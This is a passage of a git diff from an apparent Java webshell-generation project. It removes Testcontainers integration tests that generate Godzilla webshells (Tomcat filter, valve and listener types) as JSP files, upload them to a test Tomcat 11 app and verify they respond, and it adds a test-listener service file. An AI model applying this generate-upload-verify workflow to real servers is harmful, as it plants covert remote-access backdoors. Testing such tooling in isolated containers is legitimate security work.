- class Tomcat11Godzilla { - - @Container - public final GenericContainer tomcat11 = new GenericContainer<>(tomcat11ImageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - public String getUrl() { - String host = tomcat11.getHost(); - int port = tomcat11.getMappedPort(8080); - String url = "http://" + host + ":" + port + "/app"; - log.info("container started, app url is : {}", url); - return url; - } - - @Test - void testGodzillaFilter() { - String shellType = TomcatShell.JAKARTA_FILTER; - testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17); - } - - @Test - void testGodzillaValve() { - String shellType = TomcatShell.JAKARTA_VALVE; - testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17); - } - - @Test - void testGodzillaListener() { - String shellType = TomcatShell.JAKARTA_LISTENER; - testSpecificJdkGodzilla(getUrl(), tomcat11ImageName, shellType, Opcodes.V17); - } - } - - - private void testGodzilla(String url, String imageName, String shellType) { - testSpecificJdkGodzilla(url, imageName, shellType, Constants.DEFAULT_VERSION); - } - - private void testSpecificJdkGodzilla(String url, String imageName, String shellType, int targetJdkVersion) { - String pass = "pass" + shellType; - String key = "key" + shellType; - String headerValue = imageName + "Godzilla" + shellType; - GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() - .pass(pass).key(key) - .headerName("User-Agent").headerValue(headerValue) - .build(); - String jspContent = generateGodzillaJsp(shellConfig, shellType, targetJdkVersion); - log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); - String filename = shellType + ".jsp"; - String uploadEntry = url + "/upload"; - String jspEntry = url + "/" + filename; - uploadJspFileToServer(uploadEntry, filename, jspContent); - verifyContainerResponse(jspEntry); - testGodzillaIsOk(jspEntry, shellConfig); - } -} \ No newline at end of file diff --git a/integration-test/src/test/resources/META-INF/services/org.junit.platform.launcher.TestExecutionListener b/integration-test/src/test/resources/META-INF/services/org.junit.platform.launcher.TestExecutionListener new file mode 100644 index 00000000..0f7802fc --- /dev/null +++ b/integration-test/src/test/resources/META-INF/services/org.junit.platform.launcher.TestExecutionListener @@ -0,0 +1 @@ +com.reajason.javaweb.MarkdownTestExecutionListener \ No newline at end of file